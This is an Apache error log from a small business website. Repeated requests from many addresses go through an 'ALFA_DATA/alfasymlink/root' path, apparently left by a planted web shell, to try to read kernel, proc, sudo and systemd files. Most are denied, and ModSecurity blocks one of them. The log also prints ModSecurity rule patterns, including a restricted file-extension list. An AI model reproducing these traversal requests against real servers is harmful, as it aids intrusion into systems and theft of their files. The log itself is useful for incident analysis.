[Sun Oct 25 17:53:54.667697 2026] [core:error] [pid 2907581:tid 2907581] (13)Permission denied: [client 172.56.191.169:55543] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/red_zone
[Sun Oct 25 17:53:58.177583 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 35.173.18.61:34436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:58.300996 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 201.138.142.244:57292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/red_zone
[Sun Oct 25 17:54:05.850398 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 85.208.96.203:23040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:10.303836 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 34.203.111.15:4263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:15.037198 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 87.1.199.88:34930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/slab_size
[Sun Oct 25 17:54:17.993368 2026] [core:error] [pid 2905683:tid 2905683] (13)Permission denied: [client 49.148.244.112:31416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/slab_size
[Sun Oct 25 17:54:18.143220 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 3.208.146.193:22562] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:20.487450 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 190.211.114.230:3037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/slab_size
[Sun Oct 25 17:54:20.821295 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 37.237.140.95:8392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objects_partial
[Sun Oct 25 17:54:22.819552 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 34.233.219.155:45985] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:23.375237 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 104.36.177.141:36100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/total_objects
[Sun Oct 25 17:54:24.991105 2026] [core:error] [pid 2905683:tid 2905683] (13)Permission denied: [client 174.161.176.245:54460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/total_objects
[Sun Oct 25 17:54:26.154123 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 34.204.150.196:57542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:00.0/subsystem/drivers/pci-stub/remove_id
[Sun Oct 25 17:54:29.111359 2026] [autoindex:error] [pid 2907581:tid 2907581] (13)Permission denied: [client 190.185.66.163:38956] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/sudo/
[Sun Oct 25 17:54:31.688096 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 190.84.88.187:9551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objects_partial
[Sun Oct 25 17:54:31.694404 2026] [autoindex:error] [pid 2905683:tid 2905683] (13)Permission denied: [client 109.107.253.92:9517] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/sudo/
[Sun Oct 25 17:54:32.850123 2026] [ssl:error] [pid 2905736:tid 2905736] (95)Operation not supported: [client 85.208.96.203:23282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:32.900874 2026] [ssl:error] [pid 2904910:tid 2904910] (95)Operation not supported: [client 85.208.96.203:23294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:34.491134 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 18.205.91.101:21398] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:36.311541 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 85.208.96.212:56124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/ctor
[Sun Oct 25 17:54:37.356169 2026] [autoindex:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 187.191.33.156:12818] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/sudo/
[Sun Oct 25 17:54:42.441607 2026] [ssl:error] [pid 2905683:tid 2905683] (70014)End of file found: [client 23.23.214.190:23668] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:54:56.177345 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 104.1.36.92:37340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/objects_partial
[Sun Oct 25 17:54:58.461705 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 212.12.135.193:48551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/objects_partial
[Sun Oct 25 17:55:01.026439 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 169.224.24.38:25298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/objects_partial
[Sun Oct 25 17:55:08.848726 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 216.131.78.10:33859] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/objects_partial
[Sun Oct 25 17:55:10.888278 2026] [core:error] [pid 2907581:tid 2907581] (13)Permission denied: [client 190.33.238.84:57248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/objects_partial
[Sun Oct 25 17:55:12.472946 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 67.187.222.121:46929] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/objects_partial
[Sun Oct 25 17:55:14.145919 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 52.6.232.201:48522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:55:14.538727 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 190.84.117.106:13062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCheckStatus.lock
[Sun Oct 25 17:55:15.547946 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 31.50.237.58:34086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCheckStatus.lock
[Sun Oct 25 17:55:16.641863 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 142.161.66.19:42379] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/hwcache_align
[Sun Oct 25 17:55:16.915301 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 8.17.123.167:57136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCheckStatus.lock
[Sun Oct 25 17:55:18.296071 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 57.134.157.65:35915] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/hwcache_align
[Sun Oct 25 17:55:20.824952 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 67.169.236.16:51707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/hwcache_align
[Sun Oct 25 17:55:22.157228 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 107.20.224.184:7744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:55:26.143495 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 52.2.58.41:47526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input5/device/subsystem/drivers/dw-apb-uart/unbind
[Sun Oct 25 17:55:34.131427 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 3.225.9.97:44490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input1/subsystem/input0/device/driver/unbind
[Sun Oct 25 17:55:38.191129 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 34.225.138.57:51941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:55:46.134405 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 52.70.138.176:35365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:55:46.224935 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 47.185.64.130:49395] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/alloc_calls
[Sun Oct 25 17:55:47.640359 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 24.218.244.42:44893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/alloc_calls
[Sun Oct 25 17:55:47.650334 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 190.171.113.0:48394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_partial
[Sun Oct 25 17:55:49.179398 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 192.226.231.152:36572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/alloc_calls
[Sun Oct 25 17:55:50.518830 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 99.88.112.32:44833] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_partial
[Sun Oct 25 17:55:54.145333 2026] [ssl:error] [pid 2908033:tid 2908033] (70014)End of file found: [client 34.224.9.144:23950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:55:54.264448 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 38.250.150.17:7691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_partial
[Sun Oct 25 17:55:58.164619 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 52.71.216.196:29520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:56:02.161672 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 52.70.123.241:14601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:56:18.389771 2026] [ssl:error] [pid 2905683:tid 2905683] (70014)End of file found: [client 44.207.252.58:25843] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:56:30.191270 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 35.171.141.42:16164] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:56:34.611563 2026] [security2:error] [pid 2899619:tid 2899619] [client 44.207.69.106:10080] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/skbuff_head_cache/"] [unique_id "at57EvU7CHxL1Z61W2QUygAAAD8"]
[Sun Oct 25 17:56:34.611607 2026] [security2:error] [pid 2899619:tid 2899619] [client 44.207.69.106:10080] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/skbuff_head_cache/"] [unique_id "at57EvU7CHxL1Z61W2QUygAAAD8"]
[Sun Oct 25 17:56:46.141128 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 54.167.32.123:39176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:56:48.307260 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 189.192.86.122:6828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/ctor
[Sun Oct 25 17:56:54.427402 2026] [security2:error] [pid 2905683:tid 2905683] [client 43.130.53.252:50580] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/contacto/contactonobase.php"] [unique_id "at57Jkp0cJ1hVWDhwswsxAAAAAM"]
[Sun Oct 25 17:57:06.154615 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 50.17.193.48:57587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:57:10.406027 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 198.163.193.162:39239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/remote_node_defrag_ratio
[Sun Oct 25 17:57:13.426113 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 75.167.162.223:54984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/validate
[Sun Oct 25 17:57:13.777956 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 212.252.78.48:32306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/remote_node_defrag_ratio
[Sun Oct 25 17:57:14.154693 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 54.84.93.8:56961] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:02.0/rom
[Sun Oct 25 17:57:15.374528 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 92.237.108.159:33118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/remote_node_defrag_ratio
[Sun Oct 25 17:57:15.374997 2026] [security2:error] [pid 2906066:tid 2906066] [client 92.237.108.159:33118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/remote_node_defrag_ratio"] [unique_id "at57O7_lIj1OAY0C3WwdLgAAAAE"]
[Sun Oct 25 17:57:15.375033 2026] [security2:error] [pid 2906066:tid 2906066] [client 92.237.108.159:33118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/remote_node_defrag_ratio"] [unique_id "at57O7_lIj1OAY0C3WwdLgAAAAE"]
[Sun Oct 25 17:57:15.930048 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 176.74.124.7:41422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/validate
[Sun Oct 25 17:57:26.143959 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 23.21.148.226:42660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:00/physical_node/i2c-0/new_device
[Sun Oct 25 17:57:32.741214 2026] [ssl:error] [pid 2908852:tid 2908852] (70014)End of file found: [client 185.191.171.3:28428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:57:36.589931 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 71.112.174.246:37811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/object_size
[Sun Oct 25 17:57:37.763162 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 173.63.142.9:47801] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/object_size
[Sun Oct 25 17:57:40.146906 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 212.58.120.241:14062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/object_size
[Sun Oct 25 17:57:46.134570 2026] [core:error] [pid 2908852:tid 2908852] (13)Permission denied: [client 54.243.63.52:37156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/slots/28/module/uevent
[Sun Oct 25 17:57:53.193492 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 68.207.132.68:51609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/total_objects
[Sun Oct 25 17:57:54.133700 2026] [ssl:error] [pid 2908033:tid 2908033] (70014)End of file found: [client 34.196.114.170:38135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:57:58.214694 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 204.236.84.250:9500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cache_dma
[Sun Oct 25 17:58:00.329348 2026] [core:error] [pid 2908852:tid 2908852] (13)Permission denied: [client 109.108.88.54:57932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cache_dma
[Sun Oct 25 17:58:01.537354 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 144.86.147.98:43434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/total_objects
[Sun Oct 25 17:58:03.556273 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 105.76.181.144:9951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/object_size
[Sun Oct 25 17:58:04.203164 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 35.150.254.20:15322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/total_objects
[Sun Oct 25 17:58:06.633383 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 68.55.194.189:38715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/object_size
[Sun Oct 25 17:58:09.055645 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 73.144.134.246:56276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/object_size
[Sun Oct 25 17:58:16.610088 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 85.208.96.203:26910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/ctor
[Sun Oct 25 17:58:25.323990 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 141.195.137.163:26655] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/objects_partial
[Sun Oct 25 17:58:26.155502 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 54.84.169.196:47294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:58:30.230536 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 34.227.156.153:45291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:58:35.580488 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 92.241.36.11:14465] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/objects_partial
[Sun Oct 25 17:58:40.570650 2026] [core:error] [pid 2908852:tid 2908852] (13)Permission denied: [client 200.123.201.24:56745] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cache_dma
[Sun Oct 25 17:58:40.571209 2026] [security2:error] [pid 2908852:tid 2908852] [client 200.123.201.24:56745] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cache_dma"] [unique_id "at57kDsPACk6z5hup_pd0AAAABE"]
[Sun Oct 25 17:58:40.571241 2026] [security2:error] [pid 2908852:tid 2908852] [client 200.123.201.24:56745] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cache_dma"] [unique_id "at57kDsPACk6z5hup_pd0AAAABE"]
[Sun Oct 25 17:58:42.155278 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 52.70.123.241:36232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:58:43.106283 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 201.87.253.37:41386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cache_dma
[Sun Oct 25 17:58:44.928379 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 173.244.253.229:8139] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cache_dma
[Sun Oct 25 17:58:48.300916 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 174.82.199.156:37647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/cpu_partial
[Sun Oct 25 17:58:50.153085 2026] [ssl:error] [pid 2908852:tid 2908852] (70014)End of file found: [client 23.21.119.232:7266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:58:58.144321 2026] [ssl:error] [pid 2908852:tid 2908852] (70014)End of file found: [client 18.215.24.66:17530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:58:58.928109 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 51.36.220.131:5129] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/cpu_partial
[Sun Oct 25 17:59:02.156745 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 54.235.158.162:61480] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:59:08.278559 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 85.208.96.193:54420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/slabs_cpu_partial
[Sun Oct 25 17:59:10.161130 2026] [ssl:error] [pid 2908852:tid 2908852] (70014)End of file found: [client 54.225.199.17:19872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:59:14.327746 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 68.50.109.138:48203] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/red_zone
[Sun Oct 25 17:59:16.537763 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 45.186.209.151:38735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/red_zone
[Sun Oct 25 17:59:18.384482 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 172.115.48.119:57415] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/red_zone
[Sun Oct 25 17:59:34.164986 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 3.94.156.104:36967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:59:38.176081 2026] [core:error] [pid 2908853:tid 2908853] (13)Permission denied: [client 18.207.79.144:46966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:10/subsystem/tty1/subsystem/ttyS0/line
[Sun Oct 25 17:59:42.837629 2026] [security2:error] [pid 2908033:tid 2908033] [client 105.172.142.128:49326] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at57zl31HWF0TpUcFcm0EQAAAAQ"]
[Sun Oct 25 17:59:42.838179 2026] [security2:error] [pid 2908033:tid 2908033] [client 105.172.142.128:49326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at57zl31HWF0TpUcFcm0EQAAAAQ"]
